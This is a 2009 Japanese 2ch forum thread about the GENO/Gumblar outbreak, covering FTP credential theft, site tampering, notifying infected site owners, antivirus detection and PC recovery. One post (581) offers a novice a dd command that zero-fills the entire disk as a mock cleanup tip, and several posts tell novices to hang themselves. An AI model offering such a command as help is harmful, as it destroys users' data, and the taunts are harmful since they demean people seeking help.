GENOウイルススレ ★20at SEC
GENOウイルススレ ★20 - 暇つぶし2ch413:名無しさん@お腹いっぱい。
09/05/24 11:57:22
人に意味不明なメール送りつけたりきもい
ウイルスなんてずっと騒いでるのお前らだけだから。
これだからオタクは嫌われるんだよ・・・こわい

414:名無しさん@お腹いっぱい。
09/05/24 11:58:11
>>412

いやいや、その常識に反してFTPを使っているから
このように感染拡大しているわけで。

日本では(なぜか)人気のFFFTPがSFTPに対応してないみたいだしさ。
どうもSSHにくらべてSFTPに知名度が低い気がするのよ。

415:名無しさん@お腹いっぱい。
09/05/24 11:59:13
世の中バカが多いし、sshが使えないレンタルサーバもかなりあるんでない?

416:名無しさん@お腹いっぱい。
09/05/24 11:59:47
>>413
えっ

417:名無しさん@お腹いっぱい。
09/05/24 12:02:25
>>413
えっなにそれこわい

418:名無しさん@お腹いっぱい。
09/05/24 12:08:12
>>413
で、感染したらまっさきに泣き付きにくるんですね

419:名無しさん@お腹いっぱい。
09/05/24 12:11:25
企業向けや玄人向けのレンタルサーバならSFTPやFTPSに対応してるはずだが、
証明書の用意が面倒なんで素人向けのカンタン激安系サーバは対応してないかもな。

420:名無しさん@お腹いっぱい。
09/05/24 12:12:00
感染してるどっかのサイトの管理人さんかな

421:名無しさん@お腹いっぱい。
09/05/24 12:13:01
バスターってもう対策してるんだよね?

422:名無しさん@お腹いっぱい。
09/05/24 12:18:09
>>416417
判で押したように同じ反応してる方が怖いから
どうせ2ちゃんに洗脳されちゃったんだろ?
仮にどこかのサイトが感染してお前らに何の関係があるの?
お前らがなんとかしてやれるの?意味不明な長文メール何通も
送られてもただのスパムと同じだろ
これだからパソコンオタクはきもいんだよ

423:名無しさん@お腹いっぱい。
09/05/24 12:19:31
>>422
感染しちゃったの?
どうでもいいなら放っておけばいいんじゃないの
そのうち誰からも相手にされなくなってちょうど良くなるからなw

424:名無しさん@お腹いっぱい。
09/05/24 12:19:37
>>406
おいらは全部のポートを閉じてネットしてるよ
これセキュ板住人の常識な


425:名無しさん@お腹いっぱい。
09/05/24 12:20:33
>>422
伊香保温泉の中の人?
なら、とっとと対策を講じろよ。

426:名無しさん@お腹いっぱい。
09/05/24 12:23:57
>>424
どうゆうこと?

427:名無しさん@お腹いっぱい。
09/05/24 12:24:15
>>422
君らにとっては意味不明な事象なんだろうね 知らないうちに人に迷惑かけてることを思ってください

428:名無しさん@お腹いっぱい。
09/05/24 12:26:15
>>422
きもいならここに来なきゃいいのに・・

429:名無しさん@お腹いっぱい。
09/05/24 12:26:16
とりあえず意味不明な長文メールとやらを晒してからだな
誰にとっても意味不明なのか、それとも読んでる方がバカなだけなのか

430:名無しさん@お腹いっぱい。
09/05/24 12:26:25
家に泥棒が毎日入ってるのを気付かないから教えてあげたら
「うるせーから黙ってろ、迷惑なんだよ!」って怒っちゃった感じ

ショップとかのサイトならそのうちどこからもリンク外されるから別にいんじゃねーのww

431:名無しさん@お腹いっぱい。
09/05/24 12:26:38
ふと思ったんだが、NoScriptなどを使わなくても、
「今見ているページとは違う(外部の)ドメインのFlashを読み込まない」
ようにできれば、感染自体は回避できるんじゃないか?

432:名無しさん@お腹いっぱい。
09/05/24 12:26:40
>>426
一般人なら1週間ROMってればできる
池沼だと3年ROMってればできるかも


433:名無しさん@お腹いっぱい。
09/05/24 12:27:11
シェルを開放していなくてFTPだけのサーバーってのもあるか。
暗号化されているFTPにはSFTPだけじゃなくて
FTPSやFTPESもあるよ。
シェルを開放していなくても、こっちなら使えるかも。

XREAはホスト登録する必要があるが、SFTPが使える。FTPESも使えるらしい。
URLリンク(sb.xrea.com)
URLリンク(labs.uechoco.com)

さくらはスタンダード以上・・・
URLリンク(www.sakura.ne.jp)

みんなどこのサーバー使っているんだろうね。

434:名無しさん@お腹いっぱい。
09/05/24 12:28:01
うちのもウイルスバスターなんだけど、ついさっきGENOウイルスについて知った。
バスターもってたら対策しないで安全なのかな?

435:名無しさん@お腹いっぱい。
09/05/24 12:29:40
>>422
一理あるがここの住人に言っても無駄だと思うよ
解ってる人から見たら、”対策しろ”の一言で済む話だからね

前々前スレくらいで一般人にどうやって説明しようか検討してた
まぁ普通はそんなもんでしょ。

436:名無しさん@お腹いっぱい。
09/05/24 12:30:09
バスター使いが製品のクオリティと同様にレベル低いのは何故なんだぜ

437:名無しさん@お腹いっぱい。
09/05/24 12:30:09
>>431
NoScriptの方が簡単臭い

438:422
09/05/24 12:30:12
大漁ですわ^^

439:名無しさん@お腹いっぱい。
09/05/24 12:31:57
おつかれさん

440: ◆.lsSk9mKak
09/05/24 12:32:32
422だけど、じゃあ対策しろって言ってる奴らは、感染した人に何がしてやれるって話よ?
寄ってたかって対策しろじゃ感染するレベルの人になんて解るはずないだろうに
ただうるさいだけだ

441:名無しさん@お腹いっぱい。
09/05/24 12:32:34
ショップサイトなら客が離れてモールのリンクも外されるだろうし
普通のサイトだとしても全部リンク外されるだろうし

インフルエンザに罹って街中でウイルスばら撒いてるのがそんなに楽しいならそのままでOK


442:名無しさん@お腹いっぱい。
09/05/24 12:32:52
ロリポップのサイト漁ったがSFTP検索かけてもでてこねー

443:名無しさん@お腹いっぱい。
09/05/24 12:33:17
>>438439440
浮かれている場合じゃないw
その前にアンカーをおぼえる!

444:名無しさん@お腹いっぱい。
09/05/24 12:34:17
>>443
>>443
>>443,443,443


445:名無しさん@お腹いっぱい。
09/05/24 12:35:49
>>433
最近はexplicitモードを区別してFTPESと呼ぶのか…勉強になったぜ

446:名無しさん@お腹いっぱい。
09/05/24 12:36:22
>>355
なるほどthx
GENOって画像開いて感染するのか?とか気になってたわ
ただのデマかね

447:名無しさん@お腹いっぱい。
09/05/24 12:36:35
>>444
セキュのJane夫の登場w

448:JANE夫@おっぱい。
09/05/24 12:38:51
よんだ?

449:名無しさん@お腹いっぱい。
09/05/24 12:39:47
>>437
いや、NoScriptみたいに処理が重めの奴を使わずにやるには、って意味で。

450:名無しさん@お腹いっぱい。
09/05/24 12:40:27
>>448
巣にカエレw

あ、ここが巣かw

451:名無しさん@お腹いっぱい。
09/05/24 12:41:03
改竄されて攻撃サイトにリダイレクトさせてる時点で
懇切丁寧に説明してやる必要なんてないと思うが
「おたくのウェブサイト開いたらアンチウィルスソフトが警告を出した。どうなってるの?」で十分だろ
後の調査と対策はサイト管理者の責任

452: ◆.lsSk9mKak
09/05/24 12:41:16
>>441
あんた、ふくぜんのブログにコメントした人?
荒らしにしか見えないのもいくつかあるけども。
じゃあ、そこまで言うなら何がしてやれるの?
具体的に何も出来ないならメール送りつけたり
コメントしたりしつこい荒らしと変わらんと思うけどね。
長々とウイルスの説明されたって相手にもされないよ

453:名無しさん@お腹いっぱい。
09/05/24 12:42:25
えっ、

454:名無しさん@お腹いっぱい。
09/05/24 12:43:52
ふくぜんの中の人なの?

455:名無しさん@お腹いっぱい。
09/05/24 12:44:08
なにそれこわい

456:名無しさん@お腹いっぱい。
09/05/24 12:44:40
それが中の人だったら感染などしてないはず

457:名無しさん@お腹いっぱい。
09/05/24 12:45:45
>>449
NoScript程度で重いならOperaでも使った方がよくね?
>>440>>452
対処法が分からない馬鹿は、窓からPC投げ捨てて回線切って首吊っとけばいいと思うよ

458:名無しさん@お腹いっぱい。
09/05/24 12:46:13
感染しちゃった中の人は誰かわかる人に任せるしかないでしょ
それまでサイトは放置されるんだな・・・

459:名無しさん@お腹いっぱい。
09/05/24 12:48:31
>>457
得意げなその態度が一般人からきもいって言われる一因でしょ
窓から捨てる云々も良くみるコピペだし。その前に対策して(させて)あげてね

460:名無しさん@お腹いっぱい。
09/05/24 12:50:00
>>449
外部鯖ドマインを使わないネットはありえナス

461:名無しさん@お腹いっぱい。
09/05/24 12:52:16
>>459
馬鹿じゃなければ、まとめサイトでも見れば対処法が分かる

馬鹿は、金を何万か用意してパソコンレスキューみたいな業者に頼むか
金がなければ窓からPC投げ捨てて回線切って首吊っとくしかない

462:名無しさん@お腹いっぱい。
09/05/24 12:55:06
>>461
その態度が放置ときもい発言を招いてるわけですが。
パソヲタじゃない奴らにまとめとやらをわかるように説明して

463:名無しさん@お腹いっぱい。
09/05/24 12:55:15
情報が不透明だから、完璧な対処の使用法もないからなぁ

464:名無しさん@お腹いっぱい。
09/05/24 12:55:18
とりあえず、ふくぜんに関してはホスティング先のabuseにもメール送っておいたけど、
そっちも反応ないな。

465:名無しさん@お腹いっぱい。
09/05/24 12:55:23
>>459
つまり一切メールしたりコメントつけたりするなって言いたいの?
そうして管理者は気付かず、いつまでも改竄されまま放置されてればいいと

466:名無しさん@お腹いっぱい。
09/05/24 12:56:52
ブログ見に行っちゃったよ
別に荒れていないけど削除したのかな?

467:名無しさん@お腹いっぱい。
09/05/24 12:57:33
>>462
まとめサイト

468:名無しさん@お腹いっぱい。
09/05/24 12:58:02
嵐って程の書き込みは元々無かったと思われ

469:名無しさん@お腹いっぱい。
09/05/24 12:58:03
>>462
まとめ読んでも分からないorまとめがどこにあるのかさえ分からないなら
自分が馬鹿であると素直に認めて有料サポート業者に頼め

470:名無しさん@お腹いっぱい。
09/05/24 13:00:01
まぁブログの2個目までのコメントは無いわな・・・

471:名無しさん@お腹いっぱい。
09/05/24 13:01:47
長文メール云々とか中の人しかわからないような事書いてる時点で・・・

472:名無しさん@お腹いっぱい。
09/05/24 13:02:04
>>465
散発的にきたら気持ち悪いんでないのかね
旅館の中の人もわかってるみたいだし誰かに頼むんじゃね

473:名無しさん@お腹いっぱい。
09/05/24 13:02:55
>>471
何個か前スレにすんごい長文メールあったよ
丁度、ukokkeiが発覚した頃。

474:名無しさん@お腹いっぱい。
09/05/24 13:05:49
>>464
tsukaeru.netってabuse死んでるっしょ。
エラーが返ってきたから。Webフォームから連絡入れておいた。
非ユーザーからの問い合わせは月曜まで放置される可能性が
高いけど。

475:名無しさん@お腹いっぱい。
09/05/24 13:08:34
>>463
攻撃側は常に進化するから特定のウイルスの説明は陳腐化して逆効果
感染の簡易診断やスクリプト検査ではシロ判定される亜種も既に量産体制
しかし何もビビる必要は無い

・ソフトウェアをアップデートして最新にする
・JavaScriptやプラグインを原則無効にする

この2つの基本対策がきちんと出来てる奴は
仮に感染サイトを踏んだとしても対岸の火事で終わってる

476:名無しさん@お腹いっぱい。
09/05/24 13:12:19
>>474
ああ、そうだった。俺もWebフォームで送り直した。
送ったの昨晩だから、確実に明日までは放置されるね。

477:名無しさん@お腹いっぱい。
09/05/24 13:14:12
おらパソオタども感染したから直し方教えろ
つーか俺はオタじゃないからやる気ないからおまえらが責任もって直せ
って言われてもww

478:名無しさん@お腹いっぱい。
09/05/24 13:17:10
>>477
そういう馬鹿って人として生きていけるのだろうか

479:名無しさん@お腹いっぱい。
09/05/24 13:19:26
>>478
残念なことに今現在まで生きてこられたようです。
至極迷惑なことに。

480:名無しさん@お腹いっぱい。
09/05/24 13:20:13
>>478
強毒性の新型インフルエンザで死ぬと思う

おら医者ども感染したから治し方教えろ
つーか俺は医者じゃないからやる気ないからおまえらが責任もって直せ
って言われてもww

481:名無しさん@お腹いっぱい。
09/05/24 13:22:44
増水した川の中州に取り残されて助けられて悪態ついてるDQNのような人種もいるのでねぇ

482:名無しさん@お腹いっぱい。
09/05/24 13:23:39
>>452
長文コメントでウイルス云々言われても、正直お節介な奴と思ってる?
コメ見るまでは気がつかなかったということですよね?

483:名無しさん@お腹いっぱい。
09/05/24 13:27:50
>>474
>>476
お前ら迷惑なんだよ。

484:名無しさん@お腹いっぱい。
09/05/24 13:29:09
>>483
感染気づかずに放置してウィルス媒介所になってるほうが迷惑だから。

485:名無しさん@お腹いっぱい。
09/05/24 13:30:48
その長文メールとやら見せてくれないか

486:名無しさん@お腹いっぱい。
09/05/24 13:30:59
なんかすげーな。
ふくぜんのサイト構築を請け負ってる業者とかだったりするんだろうか。

487:名無しさん@お腹いっぱい。
09/05/24 13:32:31
ふくぜんは問題ない

488:名無しさん@お腹いっぱい。
09/05/24 13:33:56
ふくぜんは被害を被った側だね

489:名無しさん@お腹いっぱい。
09/05/24 13:35:21
うん、だから切れるのもわかるけど
切れる相手を間違えないでネット

490:名無しさん@お腹いっぱい。
09/05/24 13:37:18
無能達に告ぐ!
無能達に告ぐ!

過去のウィルスで騒ぐな

491:名無しさん@お腹いっぱい。
09/05/24 13:37:41
なんか今見たら、ふくぜんのサイトぐしゃぐしゃで文字化けしまくり。
トップページについてはGENOのコードが消えてるっぽいけど、
オンラインで作業してるのか?

492:名無しさん@お腹いっぱい。
09/05/24 13:38:39
>>483
ID出ないと余裕ですねw

493:名無しさん@お腹いっぱい。
09/05/24 13:40:27
>>487
ふくぜんはGoogleやブラウザが警告出してアクセスできないから問題ない
>>488
インフルエンザと同様、被害者が即加害者になるのがウイルスなんですけどね

494:名無しさん@お腹いっぱい。
09/05/24 13:41:36
>>490
君にとって過去のものだったとしても、今こうして感染、被害が広まってる今そんなことは過去もくそもない。

495:名無しさん@お腹いっぱい。
09/05/24 13:42:21
コメントの内容に、ふくぜんに落ち度があるとか何とかだったんじゃないかな
確認のしようが無いんだけど・・・
でも、ここで誰ともわからんのに文句言ってみても始まらない

496:名無しさん@お腹いっぱい。
09/05/24 13:43:05
>>491
俺もぐちゃぐちゃ目撃した。
今リロードしたら直ってた。修復完了か?

497:名無しさん@お腹いっぱい。
09/05/24 13:43:26
>>491
消えているねw作業中かな?

498:名無しさん@お腹いっぱい。
09/05/24 13:44:43
>>493
だからさ、ふくせんでサイト監理してる訳じゃないんでしょ
知らせて上げる事は出来ても対処のしようが無いのとちゃうの?

499:名無しさん@お腹いっぱい。
09/05/24 13:45:04
しかしこの流れで復旧とは…
マジで関係者だったのか

500:名無しさん@お腹いっぱい。
09/05/24 13:45:38
>>496
まだ下の方が変。オフラインで編集すればいいのに。

501:名無しさん@お腹いっぱい。
09/05/24 13:45:42
>>493
>>494
これだから無知は
感染なんて義ろまっていないし被害も出てない
ふくぜんに謝罪しろヴォケ

502:名無しさん@お腹いっぱい。
09/05/24 13:46:37
>>498
知らされても直さないんじゃ意味ないだろ常考
>>501
馬鹿は寝てろ

503:名無しさん@お腹いっぱい。
09/05/24 13:46:43
>>498
ふくぜんに知らせる→ふくぜんからWebページ管理会社へ連絡→対策

504:名無しさん@お腹いっぱい。
09/05/24 13:46:46
修復完了しますた
またのご来店をお待ちしております

505:名無しさん@お腹いっぱい。
09/05/24 13:47:40
>>501
>>494に対してそのレスは明らかにおかしいだろ・・・

506:名無しさん@お腹いっぱい。
09/05/24 13:49:53
関係者がここで文句言いながら修復作業かよ。器用だなw

507:名無しさん@お腹いっぱい。
09/05/24 13:52:42
最初から素直に感染認めて普通に対策の手助け求めてればいらぬ争いは生まないんだよ。
煽りながら対応とか器用なことしなくていいです。

508:名無しさん@お腹いっぱい。
09/05/24 13:54:15
今日は朝からずっと変な流れだなw

509:名無しさん@お腹いっぱい。
09/05/24 13:56:02
俺としては、一度感染したサイトが復旧後に再感染する確率の高さに注目してる

510:名無しさん@お腹いっぱい。
09/05/24 13:57:25
おまえらきもいよ(笑)

511:名無しさん@お腹いっぱい。
09/05/24 13:57:52
>>509
再感染の流れを三行でよろしく

512:名無しさん@お腹いっぱい。
09/05/24 13:58:08
>>510
ご苦労様^^

513:名無しさん@お腹いっぱい。
09/05/24 13:58:12
>>493
ふくぜんにコメントした人ですね

514:名無しさん@お腹いっぱい。
09/05/24 13:59:19
人に迷惑かけといて悪びれもしないって、たしかにきもいね(笑)

515:名無しさん@お腹いっぱい。
09/05/24 13:59:40
窓からPC投げ捨てて回線切って首吊っとくしかない

516:名無しさん@お腹いっぱい。
09/05/24 14:00:20
えっ、なにそれこわい

517:名無しさん@お腹いっぱい。
09/05/24 14:02:02
>>511
直した
残ってた
伝染った

518:名無しさん@お腹いっぱい。
09/05/24 14:02:22
昔の2ちゃんねるのようだ

519:名無しさん@お腹いっぱい。
09/05/24 14:03:07
えっ

520:名無しさん@お腹いっぱい。
09/05/24 14:11:17
最大最強のウイルスは人間なんだな

521:名無しさん@お腹いっぱい。
09/05/24 14:11:18
ああ判った、今朝解析うんぬん行っていた人か>中の人
本当にお客さんに感染していた場合の対処法を知りたかったんだね

522:名無しさん@お腹いっぱい。
09/05/24 14:14:09
>>245>>247>>421>>434

556 :GENO:2009/05/23(土) 11:03:23 ID:cGjzOdFG0 (PC)
>>552-553
ちょっと巡回中に良いタイミングで見かけたので...最新の状況だと、こんな感じです。

martuz_cn_id10_20090517.exe - 30/40
 URLリンク(www.virustotal.com)

日本国内で使われている主要なソフトは全て、現時点で元の実行ファイルを検出できるようになっています。
あと、検出名は、元のウイルスが配布されていた日のバージョンによって違ってくるので、参考程度に考えた方が良いです。

感染ファイルの方 - 25/39
 URLリンク(www.virustotal.com)

こちらは、主要ソフトの内、TrendMicro(ウイルスバスター)が感染を検出できない結果が出ています。
(ただし、Virustotalで未検出でも、実際には検出できることもありますので、これが絶対の結果ではありません。)

※ 同人板だとなじみが無さそうなので説明すると、ウイルスセキュリティZEROがK7AntiVirus,ウイルスキラーがRisingです。

ですので、既に『パターンファイルを最新に更新した上で、ウイルスチェックをお願いします。』で問題が無い状態まで来ています。
もっとも、ウイルスバスターだけは確認が取れない状況なので、これは誰かが最終確認するのを待つしかありませんが...


523:名無しさん@お腹いっぱい。
09/05/24 14:19:40
正直、新種がどんどん出てくる状況では
「昔のファイルが検出できる」で安全宣言出す行為は
感染拡大に加担してるようなもんだな

524:名無しさん@お腹いっぱい。
09/05/24 14:23:46
一時期、やたらと終息宣言出したがる/出させたがる人続出だったもんなあ
あれは何だったんだろう

525:名無しさん@お腹いっぱい。
09/05/24 14:25:24
とりあえずGENO社員だろと思う事にしている

526:名無しさん@お腹いっぱい。
09/05/24 14:32:45
うめ

527:名無しさん@お腹いっぱい。
09/05/24 14:37:53
ふくぜん直ったみたいだなw

528:名無しさん@お腹いっぱい。
09/05/24 14:42:58
直ったのか?
まだGoogleで遮断されるが

529:名無しさん@お腹いっぱい。
09/05/24 14:44:55
永遠に遮断しておけ

530:名無しさん@お腹いっぱい。
09/05/24 14:53:18
>>527
This page seems to be <suspicious>

531:名無しさん@お腹いっぱい。
09/05/24 15:05:44
>>528
Googleは管理者が申告して、それをGoogle側がチェックするまで解除されないよ。

532:名無しさん@お腹いっぱい。
09/05/24 15:07:31
感染確認したんで、初期化するつもりなんだが
感染後にリカバリ取っても意味はないのか?

533:名無しさん@お腹いっぱい。
09/05/24 15:11:55
>>532
意味わからん

534:名無しさん@お腹いっぱい。
09/05/24 15:21:02
Gumblarとは 【GENOウイルス】 - 意味-解説-説明-定義 : IT用語辞典
URLリンク(e-words.jp)

2009年5月から急激に感染が拡大したコンピュータウイルスの一種。
「GENO」という名称は、国内で早期に感染したパソコンの通販サイトから
ついた通称で、ウイルス対策ソフトベンダーなどでは「Gumblar」や
「JSRedir-R」の名称で呼んでいる。

 Gumblarは感染したコンピュータの管理するWebサイトを改ざんし、
感染用のJavaScriptコードを仕掛ける。
このコードはAdobe ReaderやFlash Playerの脆弱性を利用したもので、
これらを最新版に更新していないユーザは、
サイトを閲覧することにより感染する。

 Gumblarは感染したコンピュータのネットワーク通信を監視し、
そのユーザがFTPを用いてどこかのWebサイトを管理している場合、
そのパスワードを盗み出してWebサイトを改ざんし、
感染用のコードを埋め込む。

また、感染したコンピュータのWebブラウザの挙動を操り、
Googleの検索結果に悪意あるサイトへのリンクなどを表示させる。
外部から操作できるような仕掛け(バックドア)も埋め込まれてしまう。

535:名無しさん@お腹いっぱい。
09/05/24 15:33:37
念のためにリカバリしようと思うんですが
感染している可能性があるパソコンに入れていたDVDや繋いでいた周辺機器を
GENOウイルスに対応したアンチウイルスソフトでスキャンした結果無事でも、
対応してない亜種とかは感知、駆除できないですか?

あと、もし感染してたら周辺機器やDVDのウイルスは駆除する方法がありますか?
パソコンだとリカバリしかないそうですが、DVDは諦めるしかないんでしょうか。

536:名無しさん@お腹いっぱい。
09/05/24 15:35:40
基本的にデータには付着しないので、データバックアップと書き戻しはOK(HTMLはチェックした方が無難かも)
HDDを外付にしても、削除はできても駆除(Windows本来のファイルに戻すとか、ゴミ設定抹消)はできないので
おとなしくPCリカバリかOS再インストールしとけ。

537:名無しさん@お腹いっぱい。
09/05/24 15:38:58
感染したPCのHDDや感染後に使用したUSBメモリ等のデータは完全消去が原則
素人の大半が感染ディスクからデータを取り出して再感染して復旧作業をやり直す

GENOウイルスの話じゃないけど
金にものを言わせて「PCを買い換える」最終手段を使ったくせに
データを使いまわして即感染させた馬鹿もいたな

538:名無しさん@お腹いっぱい。
09/05/24 15:40:51
>>536>>537
ウイルス感染の可能性でリカバリする場合はバックアップも諦めた方がいいということでしょうか。


539:名無しさん@お腹いっぱい。
09/05/24 15:46:17
>>538
理想論は>>537だが現実的には破棄できないファイルもあるだろうから
必要なファイルはとりあえずバックアップを取って
PCが復旧してからウイルスチェックをして再利用するのは割と日常茶飯事

540:名無しさん@お腹いっぱい。
09/05/24 15:50:08
>>539
ありがとうございます。あと一つだけ質問があるんですが、
テンプレでは駆除はクリーンインストールしかないとありますがリカバリでも大丈夫ですか?
メーカー製のパソコンはクリーンインストールはできないと聞いたのでリカバリしか無理なようなんですが
リカバリでも大丈夫でしょうか。

541:名無しさん@お腹いっぱい。
09/05/24 15:53:07
感染サイトみているとヘアサロン多いな

542:名無しさん@お腹いっぱい。
09/05/24 15:54:21
まったく、ハゲやがって

543:名無しさん@お腹いっぱい。
09/05/24 15:55:08
>>540
パソコン用語 - リカバリとは
パソコンを購入したときの状態に戻す作業のことです。

ググレカス

544:名無しさん@お腹いっぱい。
09/05/24 15:56:08
>>540
とりあえずリカバリして、まだ感染してたら、そのとき考える

ファイルのバックアップも同じ。とりあえずバックアップして、
もしウイルスが残ってて再感染したら、そのとき考える

感染が残ってたら1からやり直しになるけど、運が良ければ復旧する
そんな程度のやり方でも、世の中なんとか回ってます

545:名無しさん@お腹いっぱい。
09/05/24 16:01:51
>>543
メーカーPCのリカバリは、CD/DVDのリカバリディスクを使うとは限らんからな
HDDからのリカバリだと、リカバリ領域が汚染されてる可能性がある

546:名無しさん@お腹いっぱい。
09/05/24 16:06:04
>>543
ググってみたんですがリカバリだとクリーンインストールと比べて感染の可能性が残るかなどが
よくわかりませんでした。

>>544
ありがとうございます、とりあえずやってみます。
今の所GENOチェッカーでもGENOウイルスに対応したアンチウイルスソフトのスキャンでも
検出はされてないんですが、亜種を考え出せばリカバリしてもこのままでも全く感染してないとは
言えない状態ってことでしょうか。
その辺りはあまり考えすぎても今はどうしようもないくらいに思っていればいいような状態ですか。

547:名無しさん@お腹いっぱい。
09/05/24 16:09:28
DtoD

548:名無しさん@お腹いっぱい。
09/05/24 16:09:41
そういえば、インストールCD/DVDからのインストールでも、上書きだと
危ないかもしれないな。Zlkonの時にsystem volume informationに.exe
ファイルが潜伏しているという報告があったんだ。
上書きインストールだとsystem volume informationは保存されるんじゃないかな?
一度パーティションを全消しする再インストールじゃないと不完全な気がする。

549:名無しさん@お腹いっぱい。
09/05/24 16:10:09
ちなみにとあるPCサービス会社にやってもらうと
ウイルス除去→50000ぐらい
リカバリ→30000ぐらい

550:名無しさん@お腹いっぱい。
09/05/24 16:11:25
>>537
プログラムもデータの一種だというなら、そうかもしれんがな。
一般論としては、データを破壊しない。

マクロ型のようにデータに潜むものもあるが、PCリカバリ→WindowsUpdateとセキュリティソフト導入→データ戻しと
正しい手順で行なえば、データに取り付いてるものでも、セキュリティソフトがチェックしてくれるので、
データをバックアップして、あとから書き戻して構いません。

>>537の言うような再感染は、適切なセキュリティソフトを導入せずに、データを戻そうとした場合に発生します。
AutoRun型とかっすね。GENOでは、その型は確認されてないので、心配せずに、データバックアップしてから
リカバリしちゃってください。

>>545
基本的にOSからは見えない領域になってるので、その可能性は著しく低いがな。

>>540
復旧方法は、PCリカバリまたはOS再インストールです。リカバリで問題ありません。

551:名無しさん@お腹いっぱい。
09/05/24 16:13:47
>>546
リカバリと、(HDDフォーマットして行なう)クリーンインストールは等価だと考えていいです。
どちらも、現在のファイルは残りません。

クリーンインストールでも、OS部分の抹消だけ行なうものは、HDDにデータが残っており、セキュリティソフト
導入前に、残されたファイルのうち、感染しているプログラムに触って、再感染するケースも有り得ますが
そこまで心配しなくていいです。

552:名無しさん@お腹いっぱい。
09/05/24 16:15:02
>>548
復元ポイントを作成しない設定にすれば消せますので、そんな心配いらんだろ。
くだらない書込みでageてんじゃねーよ。

553:名無しさん@お腹いっぱい。
09/05/24 16:20:19
>>546
そそ、リスク完全ゼロを目指すそうとすると大掛かりな作業になるけど、
リスクと手間暇時間を天秤にかけて、手軽な方法で博打に出るわけだ

現在感染状態で、運が良ければ回復、運が悪くても感染状態に戻るだけ
だったらあれこれ悩むより、とりあえず勝負をかけたほうが楽だよな

554:名無しさん@お腹いっぱい。
09/05/24 16:26:05
チェッカーやったら尼が104%だったんだが…
対策してありゃ大丈夫かねぇ?



555:名無しさん@お腹いっぱい。
09/05/24 16:28:08
ここの連中が騒ぎすぎなだけです

556:名無しさん@お腹いっぱい。
09/05/24 16:35:47
上の流れ見てると、最近のウイルスって持ち主にも感染するみたいだな
これからはデータだけでなく持ち主も完全に破棄しないと

557:名無しさん@お腹いっぱい。
09/05/24 16:36:58
>>520

558:名無しさん@お腹いっぱい。
09/05/24 16:37:15
SA★TSU★GA★Iですね分かります。

559:名無しさん@お腹いっぱい。
09/05/24 16:37:23
チェッカー自体があんまり信憑性ない(騒ぎに乗じてアフィで稼ごうとしただけな)ので、気にするだけ損です。

対策してありゃ大丈夫だし、今は、本体配布元は死んでるし、気になるなら先にソースを見とけ。

560:名無しさん@お腹いっぱい。
09/05/24 16:41:30
>>550
広義のウイルスでよければ、画像ファイルや圧縮ファイルなんかのデータファイルも存在するけどな

561:名無しさん@お腹いっぱい。
09/05/24 16:43:10
>>49
IPAに通報済み
あと、メールフォームがあったからそこから送ってみた

562:名無しさん@お腹いっぱい。
09/05/24 16:46:43
>>559
ソースではどの部分の記述で判定すればいいのでしょうか?

563:名無しさん@お腹いっぱい。
09/05/24 16:52:27
>>554
スクリプトだらけならそれぐらいの数字すぐ出る
感染サイトは1000パーセントぐらいはじき出すし

564:名無しさん@お腹いっぱい。
09/05/24 17:03:53
ウイルス対策でadobe readerの最新版をダウンロードしたんだけど、
デスクトップに出来た「AdbeRdrUpd911_all_incr.msp」ってパソコンマークみたいなやつは、
一回クリックしてインストール完了したらゴミ箱にすてちゃっていいの?
ずっとおいとかなきゃダメ??

565:名無しさん@お腹いっぱい。
09/05/24 17:04:42
>>562
ウイルスコードの一例。
ちなみにこれは外部jsファイルに巣食ってたヤツ。

URLリンク(up2.viploader.net)

566:名無しさん@お腹いっぱい。
09/05/24 17:06:31
レス遅くなってすみません。

>>550>>551
どうもありがとうございました。

>>553
ありがとうございます、勉強になりました。


回答してくださった方どうもありがとうございました。


567:名無しさん@お腹いっぱい。
09/05/24 17:07:04
誰も使ってないだろうけど一応更新
赤字表示に</html>以降、強調表示にiframeを追加
URLリンク(end.if.land.to)
フォーム作ったけどchromeで何故か貼り付けができない……

url=の後ろにURLでソース表示+怪しい箇所強調表示
URLリンク(end.if.land.to)
とすると単純ソース表示

即席ブックマークレット
javascript:window.location='URLリンク(end.if.land.to)'+escape(location.href);

568:名無しさん@お腹いっぱい。
09/05/24 17:22:35
>>565
ありがとうございます
参考にさせて頂きます
やはり、GENOチェッカーより自力で確認した方が確実ですね

569:名無しさん@お腹いっぱい。
09/05/24 17:32:53
>>3
Adobe Acrobat ReaderとAdobe Readerはバージョンが上がって名前が変わっただけですよね?

570:名無しさん@お腹いっぱい。
09/05/24 17:44:20
>>565
txtでくださいTシャツにします

571:名無しさん@お腹いっぱい。
09/05/24 17:46:14
>>569
いぇs

572:名無しさん@お腹いっぱい。
09/05/24 17:51:49
>>571
どうもです

573:名無しさん@お腹いっぱい。
09/05/24 18:04:08
>>392
ゲストのネットワークをNAT接続かHost onlyにしてサブネットを分ければいい
ブリッジ接続だとヤバいな

574:名無しさん@お腹いっぱい。
09/05/24 18:30:47
>>570
大変お手数ですが、ご自身で感染サイトへ行って取ってきてください。

解析結果はこんな感じ。
URLリンク(www.virustotal.com)

575:名無しさん@お腹いっぱい。
09/05/24 18:35:12
GENOTシャツ

576:名無しさん@お腹いっぱい。
09/05/24 18:47:53
GENOウイルス専用駆除ツールさっさと出せよ



577:名無しさん@お腹いっぱい。
09/05/24 18:56:29
リカバリはCドライブだけで大丈夫?
Dドライブは初心者にはいじり辛そうなんだけど

578:名無しさん@お腹いっぱい。
09/05/24 18:59:29
>>563 サンクス

579:名無しさん@お腹いっぱい。
09/05/24 19:00:35
>>576
ただのHDDフォーマッタになりそう

580:名無しさん@お腹いっぱい。
09/05/24 19:01:03
MalwarebytesかHijackthisでできるだろ
分からないならクリーンインストールでいいよ
ネ板で変なexe作ってた人たちがいたけど

581:名無しさん@お腹いっぱい。
09/05/24 19:06:43
じゃぁ DD for Windows をc:\dd.exe において

c:\>dd if=/dev/zero of=\\?\Device\Harddisk0\Partition0 bs=1M

これであっという間にゼロクリアしてくれる。

582:名無しさん@お腹いっぱい。
09/05/24 19:07:51
面白いと思って書いたの?

583:名無しさん@お腹いっぱい。
09/05/24 19:13:39
すっかりGENOウイルスという名前で定着してるけど、
そもそもGENOの管理者がZolkonにやられてたってこと?
でもって、今GENOウイルスを放置してると、
次の亜種が出たときに真っ先に被害者(加害者?)になり得るってこと?
そこらへんkwsk

584:名無しさん@お腹いっぱい。
09/05/24 19:23:28
もはや由来も知らずに
「GENOウイルス」って名前だけ広まってる状態だよ
「Genocideウイルスの短縮形」みたいな誤解釈も

585:名無しさん@お腹いっぱい。
09/05/24 19:25:57
>>583



586:GENO
09/05/24 19:28:38
>584
GenoSiteういるす、通称ジェノウィル

